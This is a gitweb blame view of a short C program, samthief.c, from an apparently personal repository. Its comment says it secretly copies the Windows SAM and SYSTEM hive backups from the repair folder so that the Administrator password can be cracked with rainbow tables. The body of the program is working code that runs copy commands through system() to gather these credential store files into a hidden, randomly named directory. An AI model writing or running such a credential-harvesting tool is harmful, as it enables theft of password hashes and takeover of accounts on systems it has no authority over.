Nekobee
[mirrors/Programs.git] / c / samthief.c
CommitLineData
eb313e17
H
1#include <stdio.h>\r
2//SAMThief - Harvie (2oo7)\r
3/*\r
4Quicky & secretly copies sam & system files from %systemroot%\repair\r
5This files should be used to crack, Administrator password.\r
6For example by using ophcrack.sourceforge.net (Rainbow tables crack)\r
7*/\r
8\r
9int main(int argc, char *argv[])\r
10{\r
11 srand(time(NULL));\r
12 unsigned char i = rand();\r
13 #define SIZE 64\r
14 char dir[SIZE], now[SIZE];\r
15 \r
16 sprintf(dir, "%%username%%\\%d\\", i);\r
17 printf("%s\n", dir);\r
18 \r
19 //system("@echo off");\r
20 sprintf(now, "mkdir %s", dir);\r
21 system(now); \r
22 sprintf(now, "copy %%SystemRoot%%\\repair\\sam %s", dir);\r
23 system(now);\r
24 sprintf(now, "copy %%SystemRoot%%\\repair\\system %s", dir);\r
25 system(now);\r
26 //system("PAUSE"); \r
27 //return 0;\r
28}\r
This page took 0.37631 seconds and 4 git commands to generate.